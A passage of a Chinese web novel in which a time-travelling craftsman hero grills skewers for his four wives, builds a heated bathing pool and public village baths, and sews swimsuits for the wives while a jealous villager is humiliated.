王二柱的娘则紧第一次在村里人面前,骄傲地挺直了腰杆,脸上满是无法掩饰的自豪与庆幸。
而其他的村民,看着护院队员们从江夜家里,领到一块块散发着诱人香气的鲜肉时,眼睛都看直了。
不少人下意识地吞咽着口水,那羡慕的目光,几乎要将那些肉块融化。
江夜家门口的台阶上,白梦夏、白梦秋、林间雪和慕容晴并肩而立。
她们看着那个被全村人视若神明的男人,心中都充满了无与伦比的骄傲与崇拜。
白梦夏温柔的眼波里,是化不开的柔情与自豪。
白梦秋的大眼睛里,闪烁着崇拜的小星星,仿佛自
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家相公就是天底下最厉害的英雄。
慕容晴的美眸中异彩连连,她欣赏强者,而江夜,一次又一次地刷新了她对“强”的认知。
林间雪则只是安静地看着,那双怯生生的眸子里,满是足以融化冰雪的温柔和深深的依恋。
这个男人,是她全部的依靠。
……
夜里,江夜家的卧房内,温暖如春。
四女围坐在桌边,脸上都洋溢着发自内心的喜悦。
“相公今天可真是威风!”白梦秋满脸都是崇拜,“那些村民看你的眼神,就跟看神仙一样!”
白梦夏嗔了妹妹一眼,随即也柔声对江夜说:“相公,今天大家伙儿都高兴,咱们也好好庆祝一下吧?不如……咱们吃火锅?”
自从上次吃过一次火锅后,几个女人都对那种热热闹闹,围炉而食的感觉念念不忘。
“火锅下次再吃。”江夜笑着摇了摇头,卖了个关子,“今天,给你们换个新花样。”
“新花样?”
四女闻言,脸上都露出了好奇的神色。
在她们看来,这世上最好吃的东西,恐怕就是火锅了,还有什么能比火锅更美味的?
江夜没多解释,起身走到了院子里。
在四女好奇的注视下,他很快就在屋檐下,用几块石头和一张不知从哪儿找来的铁丝网,搭起了一个简易的架子。
随后,他又取来烧红的木炭倒了进去,又指挥四女将大块的兽肉切好,用削尖的木棍一串串地穿好。
看着江夜摆弄着那个古怪的架子,慕容晴抱着手臂,有些不以为然地撇了撇嘴。
她出身山寨,打猎烤肉是家常便饭。
“我还以为什么新花样呢,”她走到江夜身边,看着那些肉串,说道,“这不就跟我们平时在山里烤野味差不多嘛,就是多了个架子。”
第163章 这才是烤肉
江夜听着慕容晴的话,笑而不语,并不解释。
他将那几串穿好的肉稳稳地架在铁丝网上,炭火舔舐着肉块的边缘,很快,一层薄薄的油脂便被热力逼了出来,顺着肉的纹理缓缓滑落,滴在下方的炭火上。
“滋啦——”
一声轻响,一小股青烟伴随着纯粹的肉香升腾而起。
慕容晴抱着手臂,好整以暇地看着,这场景,她再熟悉不过。
在山寨里,每次打了大点的猎物,弟兄们都会围着篝火,大块吃肉,大口喝酒,香味比这个可浓多了。
随着时间的推移,肉串被烤得滋滋作响,表面开始呈现出诱人的焦糖色,浓郁的肉香也渐渐弥漫了整个小小的院落。
白梦夏三女都忍不住深吸了一口气,光是这味道,就已经让人食指大动了。
江夜神情专注,不时翻动着肉串,让每一面都均匀受热。
就在那肉块将熟未熟,汁水最是丰盈饱满的一刹那,他拿起桌上的小瓷瓶。
这是他独家秘制的调料。
江夜拧开瓶塞,对着那几串滋滋冒油的肉串,手腕轻抖,将瓶中的粉末均匀地撒了上去。
就在那些颜色各异的粉末接触到滚烫肉块的瞬间——
“轰!”
一股霸道而奇异的浓香,在小院中轰然炸开!
这香味有一种从未闻过的辛香,复杂而又层次分明,带着一种蛮横的侵略性,瞬间就攫住了所有人的嗅觉。
慕容晴脸上的那丝不以为然,在闻到这股香味的瞬间,便彻底凝固了。
她那双明亮的美眸倏地瞪圆,盯着烤架上那几串平平无奇的肉串。
喉头不受控制地上下滚动了一下,发出“咕咚”一声清晰的吞咽声。
这……这是什么味道?
白梦夏、白梦秋和林间雪也彻底呆住了。她们捂着嘴,脸上满是惊艳与不敢置信。
这股味道,勾得她们口水疯狂分泌。
“呜……”
一声委屈中带着急切的呜咽声从桌下传来。
原本趴在桌子底下,被温暖的地暖烤得昏昏欲睡的团子,鼻子猛地抽动了两下。
下一秒,它像一道银色的闪电,瞬间从桌下窜了出来,径直冲到江夜脚边。
它仰着毛茸茸的小脑袋,一双蓝色的兽瞳死死盯着烤架上的肉串,喉咙里发出讨好又急切的“呜呜”声,脑袋疯狂地在江夜的裤腿上蹭来蹭去,尾巴摇得像个风车。
江夜被它这副馋样逗笑了,随手从旁边拿起一块切好的生肉,丢到了它面前。
团子低头看了一眼地上的生肉块,又抬头用力嗅了嗅空气中那股绝顶香味。
它愣住了。
那双灵动的兽瞳里,先是闪过一丝茫然,随即迅速被一种巨大的委屈所填满。
只见它伸出一只毛茸茸的爪子,一把将那块生肉推开,随即用两只前爪捂住了自己的脸,脑袋往地上一埋,整个狼趴在雪地上,一动不动了。
仿佛在说:你居然用这种东西来侮辱我?我的心**。
“噗嗤……”
“哈哈哈……团子它……它居然还嫌弃了!”
白梦秋第一个忍不住,笑得前仰后合。
其余三女也被团子这极富人性的动作逗得花枝乱颤,清脆的笑声在温暖的屋檐下回荡,为这风雪之夜增添了几分明快的色彩。
江夜笑着摇摇头,将第一串烤好的肉递给了已经望眼欲穿的慕容晴。
肉串一入手,那股霸道的香味更是直冲天灵盖。
慕容晴也顾不上去思考这神奇的调料是什么了,对着那焦香四溢
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的肉串就咬了一大口。
“唔!”
滚烫的肉块一入口,慕容晴的眼睛瞬间瞪得更大了。
外皮焦脆,带着炭火独有的香气,内里的肉质却鲜嫩无比,牙齿轻轻一撕,饱满的肉汁就在口腔里爆开。
那股奇异的辛香料完美地中和了兽肉的油腻,将肉的鲜美提升到了一个匪夷所思的境界。
好吃!
太好吃了!
她以前吃的那些烤肉,跟这个一比,简直就是喂猪的!
江夜很快将剩下的肉串分给白梦夏她们,又温上了一壶美酒。
五个身影围坐在温暖的屋檐下,吃着世间独一无二的烧烤,喝着醇厚的美酒,看着院外风雪漫天,鹅毛般的大雪在灯笼的光晕下飘飘洒洒。
坐在温暖如春的屋内,欣赏雪景,这种感觉,惬意到了极点。
几个女人彻底放下了矜持,吃得小嘴油汪汪的,脸上洋溢着满足而幸福的光彩。
而那股霸道绝伦的肉香顺着风,飘飘悠悠地钻进了稻花村的每一户人家。
刚刚搬进加固好的屋子,第一次在地暖上感受到春天般温暖的村民们,正沉浸在巨大喜悦中。
忽然,一股香味,毫无征兆地钻进了他们的鼻孔。
“啥味儿啊……恁香?”
“是江先生家传来的……”
“天爷啊,这是什么吃食?光闻着味儿,俺的魂儿都要被勾走了!”
温暖的屋子里,一个个村民不约而同地停下了手里的活计,使劲地嗅着空气中那缕若有若无的香味。
那香味仿佛带着魔力,让他们刚刚吃下肚的黑面馒头瞬间变得索然无味。
他们的口水疯狂分泌,脸上满是无法抑制的羡慕。
连味都这么香,不敢想吃进嘴里该有多么美味。
第164章 白眼狼
王二柱家。
新改造的屋子里,温暖如春。
火龙在地下蜿蜒,将热量均匀地散发到屋子的每一个角落,地面是温的,墙壁是温的,连土炕都散发着烘烤般的暖意。
王拴柱端着一碗黑乎乎的野菜糊糊,心不在焉地喝着,鼻子里却拼命耸动,捕捉着从外面飘进来的那一缕缕霸道的肉香。
那香味,像是有无数只小手,挠着他的心,抓着他的肝,让他嘴里的野菜糊糊味同嚼蜡。
他知道,这味儿是从江夜家那个方向飘来的。
“咕咚。”
王拴柱又不受控制地咽了口唾沫,这一下动静有点大,引来了同桌吃饭的江秀兰的侧目。
他老脸一红,连忙低头喝了一大口糊糊,滚烫的糊糊烫得他舌头都麻了,心里的火气却烧得更旺。
凭什么?
凭什么同是泥腿子出身的江夜,就能过上这种神仙日子?
住着村里最好的房子,有四个天仙似的婆娘伺候着,顿顿大鱼大肉,香味飘得半个村子都闻得见。
而自己呢?只能跟在这里喝野菜糊糊!
越想越气,越想越不平衡。
他看着自己堂弟家人脸上那副满足又感恩戴德的傻样,心里的鄙夷几乎要从胸膛里喷出来。
“呸,什么活神仙,不过是个运气好的泥腿子罢了,”他压低了声音,酸溜溜地咒骂着,“老天爷真是瞎了眼,让这种人作威作福,咱们却要在这儿受罪……”
他话音未落,门“吱呀”一声被推开。
王二柱端着一个豁口的瓦碗,从外面走了进来,脸上还带着一丝喜气。
碗里,是几块炖得烂熟的肉,飘着一层金黄的油花,正冒着腾腾的热气。
这是他作为护院队成员,今天额外分到的犒劳。
他本想拿回来给家里人尝尝鲜,可刚一进门,就清清楚楚地听见了王拴柱那句咒骂。
王二柱脸上的笑容瞬间凝固,取而代之的是一片铁青。
“哐当!”
他将手里的瓦碗重重地砸在桌上,肉汤溅了王拴柱一脸。
王拴柱被这突如其来的变故吓了一跳,又被滚烫的肉汤烫得“嗷”地叫了一声。
他抹了把脸,跳了起来,指着王二柱的鼻子骂。
“你干什么!我又没说错!他江夜是什么好东西?不就是会点木匠活儿,你们就把他当祖宗供起来了?我看你们一个个都……”
“你闭嘴!”王二柱发出一声怒吼。
他指着王拴柱的鼻子,气得浑身发抖:“你这个忘恩负义的白眼狼!你也不想想,要不是东家,你现在在哪儿?你早就被埋在清河村的雪堆里了!”
“你现在住的这暖炕,吃的这口热乎饭,哪一样不是东家所赐?没有他我们全村人都得冻死、饿死!你还有没有良心?竟然敢在背后说这种猪狗不如的话!”
王二柱的怒斥像一记记响亮的耳光,狠狠抽在王拴柱的脸上。
周围的村民也被这边的动静吸引,纷纷围了过来,对着王拴柱指指点点,眼神里满是鄙夷和愤怒。
王拴柱的脸涨成了猪肝色,羞愤交加。
“我……”他张口结舌,半天说不出一句话来,最后恼羞成怒,口不择言地骂道:“好啊你王二柱,你现在出息了!我看你就是江夜养的一条狗!他给你几块骨头,你就冲着自己家人狂吠!”
“狗”这个字,彻底点燃了王二柱心中压抑的所有怒火。
“我让你嘴贱!”
王二柱怒火攻心,再也按捺不住。他一把揪住王拴柱的衣领,攥紧的拳头带着风声,狠狠一拳就砸在了他的脸上。
“嘭!”
一声闷响。
王拴柱发出一声凄
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厉的惨叫,整个人像个破麻袋一样向后倒去,鼻子和嘴里瞬间涌出温热的液体。
他被打得眼冒金星,脑子里嗡嗡作响,只觉得半边脸都不是自己的了。
……
江夜家。
院子里,吃剩的烤肉架子还散发着余温,空气中依旧弥漫着诱人的香气。
酒足饭饱,几个女人脸上都带着满足的红晕,叽叽喳喳地收拾着碗筷。
林间雪像往常一样,默默地走进厨房,开始准备晚上的洗澡水。
天气实在太冷,每天用热水泡一泡身子,是江夜的习惯,也是她们一天中最舒服的时刻。
她走到墙角,弯下腰,双手抓住一口硕大的铁锅边缘,使出全身的力气,想把它抬到灶台上去。
这口锅又大又沉,她身子本就单薄,如今又有了身孕,更是使不上劲。
她咬着牙,小脸憋得通红,额头上很快就渗出了一层细密的汗珠,可那铁锅却只是在原地晃了晃。
一只大手忽然从旁边伸了过来,轻而易举地托住锅底,一提一放,沉重的铁锅便稳稳地落在了灶台上。
林间雪一愣,回过头,正对上江夜带着一丝责备的目光。
“这种重活,叫我来做。”江夜眉头微皱。
“我……我没事的。”林间雪低下头,声音细弱得像蚊子哼哼。
江夜没再说什么,转身走到水缸边,拿起大木瓢,很轻松地就将半缸水倒进了锅里,然后熟练地生火。
看着灶膛里跳动的火焰,又看了看旁边怯生生站着的林间雪,江夜心中不禁感叹。
每天都要烧这么几大锅热水,给四个孕妇加上自己洗澡,确实太麻烦了。
尤其是在这天寒地冻的时候,提水、烧火、再一桶桶提到房间里,费时又费力。
是时候,再升级一下家里的生活品质了。
第165章 人工温泉
江夜没多想,很快水烧好,就被四个女人半推半就地拉进了浴房。
浴房内早已准备好了一个巨大的木桶,氤氲的热气弥漫了整个空间,模糊了视线。水面上漂浮着几株晒干的药草,散发出安神静心的淡淡清香。
江夜被她们按着坐进桶里,温热的水瞬间包裹了全身,驱散了最后一丝寒意。
他舒服地叹了口气,靠在桶壁上,闭上了眼睛。
很快,窸窸窣窣的衣物摩擦声后,四道曼妙的身影也跨入了浴桶。
四女身上只穿着轻薄的亵衣,被热水一浸,紧紧贴在身上,勾勒出各自不同的动人曲线。
她们的脸颊都染上了一层动人的绯红,也不知是热气熏的,还是羞的。
温香软玉瞬间将江夜包围。
白梦夏和白梦秋一左一右,拿起布巾,温柔地为他擦拭着宽阔的后背。
她们的动作轻柔而细致,带着江南女子特有的温婉。
林间雪则默默地蹲下身,小手有些生涩地在他结实的小腿上揉捏着。
慕容晴则是毫不客气地占据了江夜身前的位置,一双玉手按在他的胸膛上,用山寨里学来的法子,不轻不重地推拿按摩,缓解着他肌肉深处的疲乏。
江夜感觉自己像是泡在了云朵里,四面八方都是温柔乡,鼻尖萦绕着四种不同的体香混合着药草的清香,整个人从身体到灵魂都舒爽到了极点。
唯一的缺点是,这个浴桶虽然已经是他能找到的最大的了,但五个人挤在里面,还是显得有些拥挤。
手臂和腿脚时不时就会碰到一片滑腻的肌肤,让浴房里的气氛越发旖旎。
而且,屋外寒风呼啸,尽管门窗紧闭,桶里的热水还是在以肉眼可见的速度变凉。
一炷香的功夫不到,那股惬意的暖意就渐渐退去,一丝凉意升起。
江夜有些意犹未尽地睁开眼。
每天就为了这片刻的舒服,就要大费周章地烧水、提水,实在是不划算。
一个念头,瞬间在他脑中划过。
既然火龙地暖都能造出来,那……弄一个能源源不断提供热水的池子,似乎也不是什么难事。
一个人工温泉。
这个想法一出现,便再也挥之不去。
次日清晨,天光微亮。
吃过早饭后,江夜并没有像往常一样带着护院队训练而是在自家后院里,背着手来回踱步,时不时还弯下腰,用脚丈量着土地,似乎在规划着什么。
正在屋里做针线活的四女看他神神秘秘的样子,好奇地围了过来。
“相公,你这是在做什么?”白梦秋忍不住问道。
江夜笑了笑,没有说话。
他将兽皮在雪地上铺开,用石头压住四角,然后蹲下身,手中的炭笔在兽皮上飞速地移动起来。
神级工匠技艺发动!
无数复杂的线条、符号、结构图,在他的笔下行云流水般地涌现。
引水的渠道、加热的炉窑、热水的循环、冷水的补充……一个完整而精密的系统,以一种超越了这个时代理解的方式,迅速在兽皮上成型。
四女好奇地凑过去看,瞬间都傻眼了。
只见那兽皮上画满了各种曲里拐弯的线条和她们完全看不懂的符号。
“相公,这……画的是什么呀?”白梦夏看得云里雾里。
江夜放下炭笔,拍了拍手,笑着解释道:“我要在这里,给咱们家造一个‘温泉’。”
“温泉?”
四女面面相觑,美眸中写满了同样的震惊与不解。
“你是说……像书里写的那种,从地底下自己会冒热水的池子?”慕容晴瞪大了眼睛,觉得有些匪夷所思。
在她们的认知里,温泉是天生地造的奇迹,是山川神灵的恩赐,凡人如何能够凭空造出来?
这简直比搭建三角棚屋、制造火龙地暖还要离谱。
看着她们那副被颠覆了常识的呆萌模样,江夜觉得好笑,却也懒得过多解释。
事实,永远是最好的证明。
他站起身,对着院子里的王囤朗声道:“王囤,叫带上所有人,带上农具,到后院来!”
“是,东家!”
王囤闻言立刻高声应和,带着一众护院队员,扛着铁锹、镐头,进了后院。
江夜指着自己刚刚用脚画出标记的区域,下达了第一个命令。
“从这里开始,往下挖,挖一条沟渠出来!”
……
江夜家后院叮叮当当的巨大动静,很快就惊动了整个稻花村的人。
村民们好奇地走出温暖的屋子,循着声音,不约而同地朝着江夜家的方向**。
当他们扒着院墙,看清后院里的景象时,所有人集体都懵了。
只见江夜家的后院,已经被挖得沟壑纵横,像一张巨大的蜘蛛网。
护院队的汉子们和几十个村民正赤着膊,浑身冒着热气,在江夜的指挥下,有的在挖土,有的在搬运石头,干得热火朝天。
而在院子中央的雪地上,铺着一张巨大的兽皮,上面画满了各种他们根本看不懂的古怪符号和线条,比上次造火龙的图纸还要复杂。
“江夜兄弟这是……又在干啥大活计?”
“看不懂,完全看不懂,这地都快被刨成筛子了。”
王大壮也挤在人群里,他看着那复杂的图纸和乱七八糟的沟渠,只觉得头皮发麻。
他壮着胆子,小心翼翼地凑到院子边,冲着里面喊道:“这是捣鼓啥呢?这又是挖坑又是砌墙的……”
江夜从图纸上抬起头,看了他一眼,随口答道:“造个温泉,以后冬天洗澡方便。”
“温……温泉?”
王大壮愣住了,他身后的村民们也全都愣住了。
那不是话本故事里,神仙才能享受的东西吗?那是天生地造的宝贝,凡人怎么可能造得出来?
短暂的茫然过后,人群瞬间沸腾了。
“俺没听错吧?江先生说要造一个温泉?”
“真的假的?那玩意儿也能造出来?”
但质疑的声音很快就被一股狂热的信任所淹没。
“江先生说能,那就一定能!”
“对!连火龙都能造出来,还有啥
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是江先生不会的?别傻站着了,江先生造福咱们,咱们也不能干看着!”
一个受过江夜恩惠的汉子吼了一嗓子。
“江先生,有啥要俺们帮忙的,您尽管吩咐!”
“对!算我一个!”
“还有我!”
一时间,大批村民纷纷表示要来帮忙。
他们或许看不懂图纸,不明白原理,但他们心中有一个最朴素的信念——听江先生的,没错!
江夜看着一张张朴实而狂热的脸,心里也有些触动,便点了点头,将一些搬运石料、挖掘土方的简单活计分配了下去。
“好,那边的石头,按大小分开,搬到池子边上。这几条沟,继续往下挖三尺。”
“好嘞!”
护院队员和自发前来的村民们干劲十足,脸上洋溢着能参与劳动的激动。
王拴柱也被人群裹挟着跟了过来。
他前天被王二柱一拳打得鼻梁都歪了,在床上躺了一天,脸上还带着淤青,此刻正躲在人群的角落里。
他看着那些被挖得“乱七八糟”的沟渠,又看看那些像打了鸡血一样埋头苦干的村民,撇着嘴,满脸都是不屑。
“瞎折腾,净整这些没用的花架子,”他压低声音,对着身边一个村民嘀咕道,“好好的地不要,挖这么多坑,我看他就是脑子有点问题。有这功夫,不如多屯点柴火过冬。”
然而,他身边那人压根没理他,只是用看傻子一样的眼神瞥了他一眼,然后扛起锄头,冲进了干活的队伍里,生怕自己落后了抢不到活儿。
王拴柱碰了一鼻子灰,脸色更加难看,只能悻悻地闭上了嘴。
在江夜的指挥下,工程的进度快得惊人。
不过半天功夫,一个由青石细细打磨、严丝合缝砌成的精美汤池雏形,便在后院中央完成了。
池子旁边,还连接着一个石制加热炉,炉子下面埋着复杂的管道,一直通向厨房的灶台。
众人看着这个池子和炉子,满心疑惑,脑子里的问号越来越多。
这东西,真的能让一池子冷水变热?
江夜拍了拍手上的灰,对这成果还算满意。
他指挥着众人,用木桶从井里打来清水,一桶一桶地灌入池中,直到没过大半。
冰冷的井水让池边瞬间升起一股寒气。
做完这一切,江夜在众人好奇的注视下,走进了厨房,拿了火折子,点燃了那个与后院石炉相连的灶台下的柴火。
“呼——”
干柴遇火,火苗瞬间窜起。
神奇的一幕发生了。
随着厨房里的灶火越烧越旺,院子里那个一直冰冷的石制炉子,竟然也开始缓缓地散发出一股温热的气息。
围观的村民们目光都死死地钉在那个汤池上。
时间一点一滴地过去。
“哎,你们看!”一个眼尖的村民忽然指着池子,发出一声惊呼。
众人顺着他指的方向看去,只见那盛满了冰冷井水的汤池水面上,竟然……竟然开始飘起了白色热气!
所有人的眼睛瞬间瞪得溜圆。
第166章 神仙手段
随着厨房灶膛里的火越烧越旺,后院汤池上的白气越来越密。
不过一盏茶的功夫,整个青石汤池便被一片氤氲的蒸汽所笼罩,仿佛瑶池仙境。
一股暖融融的气息扑面而来,将池边的寒意驱散得干干净净。
在场的所有人都屏住了呼吸,死死盯着这不可思议的一幕。
江夜看着四个已经呆若木鸡的女人,微微一笑,示意她们可以试试水温。
四女对视一眼,美眸中全是震撼。
慕容晴胆子最大,她走到池边缓缓伸出纤纤玉手,探入那片白茫茫的水汽之中。
指尖触碰到水面的瞬间,一股暖融融的、恰到好处的舒适感瞬间传来。
“呀!”慕容晴忍不住发出一声惊呼,脸上瞬间惊喜。
白梦夏三女见状,也连忙上前,纷纷将手探入水中。
“天哪,真的是热水!”
“好暖和……”
冰冷的井水,真的就这么自己变热了!
“热水!水真的自己变热了!”一个村民再也压抑不住内心的惊骇,失声尖叫。
这一声,仿佛点燃了**桶。
“轰!”
人群彻底炸锅了。
“神仙!是神仙手段啊!”
“俺的娘嘞!江先生能凭空造出热汤来!”
王拴柱脸上的不屑和鄙夷,早已凝固成了化石。
他僵在原地,嘴巴半张着,眼睛死死地盯着那口仙气缭绕的汤池。
瞎折腾?花架子?
他感觉王二柱那一拳,好像又隔空狠狠砸在了他的脸上,火辣辣地疼。
短暂的狂热过后,村民们看着那仙境般的温泉,再想到自己平日在刺骨寒风中,用冰水洗漱,冻得满手裂口,连洗个热水脸都是奢望,每个人的脸上都写满了羡慕和渴望。
江先生家的女人,真是掉进福窝里了。
江夜将众人那羡慕又渴望的眼神尽收眼底。
他拍了拍手,朗声开口:
“这几日天寒,大家日子都不好过。我会在村里祠堂旁的空地上,为全村人建一座更大的公共汤池,男女分开,让所有人这个冬天都能泡上热水澡。”
话音落下,喧闹嘈杂的院子瞬间陷入了一片死寂。
村民们脸上还保持着方才那羡慕渴望的表情,只是眼神里多了一丝茫然和呆滞。
他们怀疑自己的耳朵出了问题。
江先生刚才说什么?
给……给全村人建?让所有人……都能泡上热水澡?
这怎么可能?这么金贵的神仙池子,他们这些泥腿子也能用的吗?
王囤喉结滚动了一下,他往前走了一步,声音因为激动而轻颤:“江……江先生,您、您是说……给咱们所有人……都建一个?”
江夜点了点头:“嗯,都去。”
下一秒,震天的欢呼声冲天而起!
“江先生万岁!”
“呜呜呜……俺不是在做梦吧!俺们也能泡上热汤了!”
“神仙!江先生是活神仙下凡来渡我们了!”
所有人都激动得手舞足蹈,语无伦次。
下午,江夜甚至没怎么休息,就带着图纸亲自来到了祠堂旁的空地上坐镇。
消息早已传遍了全村。
根本不用江夜吩咐,也不用王囤组织,全村但凡能动弹的青壮,都扛着工具冲了过来。
“江先生,这活儿交给我!”
“这石头我来搬!谁也别跟我抢!”
“挖土方算我一个!”
青壮们嗷嗷叫着,抢着干最累最重的活,生怕自己落后了,就失去了为“活神仙”效力的机会。
女人们也没闲着,她们烧了滚烫的姜汤,一趟趟地送到工地上,给男人们补充体力。
在江夜的指挥下,村民们的进度快得令人发指。
仅仅一个下午的时间,祠堂旁边,两座由青石垒砌、足以容纳几十人的巨大汤池拔地而起,中间用高墙隔开,男女分离。
当晚,当冰冷的井水被灌满,厨房那边巨大的联排灶台生起火。
没过多久,在全村人翘首以盼的目光中,两座巨大的公
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共浴池上,升腾起了白色蒸汽。
整个稻花村,都沉浸在了一片欢乐的海洋里。
孩子们从未在冬天如此快活过,他们在温暖的水中嬉戏打闹,清脆的笑声传出老远。
大人们则舒爽地靠在池壁上,任由暖流包裹全身,驱散了寒气与疲惫。
王翠花也泡在人群中,感受着这辈子从未有过的舒适。
温热的水流仿佛有魔力,将她身体里积攒的寒气一点点逼了出来。
她看着身边一张张洋溢着幸福笑容的脸,再想到江夜那神鬼莫测的手段,心中五味杂陈。
嫉妒?还怎么嫉妒得起来?
人家随手就能造出这种只存在于话本故事里的东西,能让全村人过上神仙日子。
自己跟人家比,简直就是地上的蝼蚁。
那点嫉妒和不甘的狭隘想法,在这样的慷慨面前,显得那么可笑和卑劣。
王翠花长长地叹了口气,将整个身子都沉入水中,心中再也没有一丝嫉妒,只剩下由衷的敬畏。
而在另一边的男子浴池中,王拴柱缩在角落里,恨不得把整个脑袋都埋进水里。
温热的池水无孔不入地渗透进他的四肢百骸,驱散了连日来的所有寒冷。
可身体越是舒服,他的脸就越是火辣辣地疼。
他想起自己这几天刚嘲讽过江夜,是什么“瞎折腾”、“花架子”还有,钱多烧的”。
然而现在,他就泡在这“花架子”里,享受着这“瞎折腾”出来的神仙日子。
这哪里是打脸,这简直是把他的脸皮撕下来,放在地上用脚来回碾。
他偷偷看了一眼不远处,正和几个汉子高声说笑的堂弟王二柱,内心愈发羞愧,恨不得找个地缝钻进去。
人家是花架子吗?人家是真有本事!
自己呢?自己就是个有眼无珠、忘恩负义的蠢货!
这一刻,稻花村所有村民,无论男女老少,无论从前对江夜是何看法,此刻对于江夜的感激和崇拜,都达到了一个前所未有的顶点。
第167章 泳装
江夜家的后院,与外面的喧闹截然不同。
私人温泉池中,热气氤氲,如梦似幻。
水面上飘着白梦夏姐妹特意洒下的干花瓣,随着水波轻轻荡漾,散发出阵阵怡人的幽香。
池水清澈,暖意融融,四道绝美的身影在水汽中嬉戏打闹,宛如瑶池中误入凡尘的仙子。
“嘻嘻,姐姐,你别泼我!”
“晴儿妹妹,你最不老实!”
清脆的笑声和水花飞溅的声音交织在一起,给这寒冷的冬夜增添了无限的生机与春意。
江夜斜靠在用光滑青石打磨而成的池边,一手搭着池沿,一手端着一杯温热的果酒,惬意地眯着眼睛。
温热的池水浸润着每一寸肌肤,驱散了白日里指挥众人劳作的疲乏。
眼前,是四个国色天香的婆娘在水中嬉闹,她们身上只穿着单薄的亵衣,被热水浸透后,紧紧贴合着玲珑有致的身体,勾勒出惊心动魄的曲线。
白梦夏的丰腴温婉,白梦秋的娇俏玲珑,慕容晴的火爆热辣,林间雪的柔弱丰满,四种截然不同的风情在朦胧的水汽中若隐若现,构成了一幅足以让任何男人血脉贲张的绝美画卷。
酒香,花香,还有她们身上散发出的淡淡体香,混合成一种让人沉醉的芬芳。
江夜轻啜一口果酒,只觉得浑身上下每一个毛孔都舒张开来。
他欣赏着眼前的美景,心中一片舒爽,但看着看着,总觉得好像还缺点什么。
是什么呢?
他的目光扫过四女。她们身上的亵衣虽然被水浸湿后格外诱人,但终究是寻常衣物,泡在水里显得有些累赘,并不能完美地展现出她们各自最动人的身段。
一个大胆的念头,从江夜脑中闪过。
他嘴角的笑意变得有些玩味起来。
“你们先玩着,我去去就回。”
江夜笑着对四女说了一句,随即起身,擦干身子,披上一件外袍便转身回了屋。
四女停下打闹,好奇地看着他离去的背影。
“相公神神秘秘的,要去做什么?”白梦秋眨着大眼睛,一脸好奇。
慕容晴媚眼一横,哼了一声:“还能干嘛,准是又在动什么坏心思。”
话虽如此,她眼底却也藏着一丝好奇。
片刻之后,江夜重新走了出来。
这一次,他手里多了几块色彩鲜艳、质地轻薄的丝绸布料,还有一把剪刀和针线。
在四女愈发好奇的目光中,江夜在池边的石凳上坐下,将布料铺开。
神级工匠技艺,再次发动!
只见他拿起剪刀,根本无需丈量,对着那几块丝绸便飞快地剪裁起来。
他的手指快得几乎出现了残影,剪刀开合之间,布料如蝴蝶般翻飞。
紧接着,他穿针引线,动作行云流水,一气呵成。
那根小小的绣花针在他手中仿佛活了过来,以一种超越常理的速度在布料上穿梭、缝合。
四女看得目瞪口呆,相公这手艺,不管是用来做木工,还是做针线活,都精湛得让人觉得匪夷所思。
不到一刻钟的时间,四套款式清凉大胆、布料少得可怜的“衣服”便已制作完成。
江夜满意地看了看自己的杰作,然后站起身,将这四套崭新的“泳衣”递到四女面前。
“来,换上这个试试。”
一抹坏笑浮现在他的脸上。
四女伸手接过。
然而,当她们看清手中那几块只能勉强遮住身体最关键部位的布料时,四个人集体都懵了。
这……这也叫衣服?
上面一块,下面一块,中间用几根细细的带子连着,布料加起来恐怕还不够做一只袖子的。
白梦夏拿着那块粉色的布料,手都在抖,她甚至不知道该从哪里下手去穿。
江夜看着她们那副呆萌又震惊的模样,脸上的笑意更浓了。
他清了清嗓子,笑着为她们解释了一下这几块布料的正确穿戴方式。
当听完他的解释后,四女的俏脸瞬间红到了耳根。
“这……这怎么能穿出去!”
白梦夏最先反应过来,羞得快要晕
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过去,她死死地攥着手里的布料,仿佛那是什么烫手的山芋,头摇得像拨浪鼓一样,根本不敢抬头看江夜。
这衣服,和不穿有什么区别?要是穿成这样,别说出门了,就是站在相公面前,她都感觉自己要羞**。
林间雪更是羞得把头深深埋进了胸口,娇小的身子在水里缩成一团,恨不得找个地缝钻进去,只露出一双通红的耳朵尖。
就连性格最大方豪放的慕容晴,此刻一张美艳的俏脸也烫得厉害。她拿着那套最符合她性格的火红色布料,美眸含嗔,狠狠地瞪了江夜一眼。
这男人,脑子里一天到晚都在想些什么羞人的东西!
江夜看着她们一个个羞不可抑的模样,觉得有趣极了。他坏笑着凑到池边,压低了声音,温热的气息吹拂在她们滚烫的耳廓上。
“怕什么?这后院又没有外人,就咱们自己家,也只有我一个人看。”
他的声音带着一丝蛊惑般的磁性,像羽毛一样轻轻搔刮着她们的心尖。
四女被他说得心尖发颤,身体都有些发软。
是啊,这里是自己家,只有相公一个人……
她们偷偷对视了一眼,都能看到彼此眼中的羞意和一丝丝被说动的犹豫。
最终,还是慕容晴咬了咬红唇,率先做出了决定。
她佯装嗔怒的瞪了江夜一眼:“哼,就依你这一次!你……你先转过去,不许偷看!”。
她说话,便率先拿着那套火红色的“新衣”,转身走向了浴房里的屏风后面。
“走吧,姐妹们,怕什么!反正迟早都是要被他看光的。”
白梦夏和白梦秋对视一眼,俏脸红得能滴出血来,最终还是扭扭捏捏地跟了上去。林间雪犹豫了片刻,也小步跟在最后面,羞答答地一起躲进了屏风后。
一时间,屏风后传来了窸窸窣窣的衣物摩擦声和几人压抑着羞意的低语,听得江夜嘴角的笑容愈发灿烂。
他重新靠回池边,端起酒杯,悠哉地等待着一场即将上演的视觉盛宴。
第168章 视觉盛宴
屏风后窸窸窣窣的声音持续了许久,伴随着几声又羞又急的低呼。
江夜唇角勾起一丝坏笑。
看来,这几件跨越时代的“新衣”给她们带来了不小的挑战。
正想着,那扇通往浴房的木门,被人小心翼翼地推开了一道缝隙。
一颗脑袋探了出来。
是慕容晴。
她是凤啸寨的女当家,胆子是最大的。
但在与江夜的目光对上的瞬间,还是俏脸一红,旋即像是下定了什么决心,咬着丰润的红唇,从门后走了出来。
“咕咚。”
江夜喉结滚动,手里的酒杯都忘了放下,一双眼睛瞬间就直了。
只见一抹烈火般的红色,闯入了他的视野。
那套泳衣,用最少的布料,以最惊心动魄的方式,将慕容晴那本就火爆惹火的身段,勾勒得淋漓尽致。
紧致的小腹,挺翘的弧度,以及那被两片小小的红色布料勉强包裹住的、仿佛随时会挣脱束缚的惊人丰盈,每一寸都散发着魅力。
最为要命的,是她脸上那副又羞又恼,却又强装镇定的表情。
江夜感觉自己的呼吸都停滞了半拍。
紧接着,在慕容晴的身后,两道身影手牵着手,几乎是挪着小碎步一起蹭了出来。
是白梦夏和白梦秋姐妹。
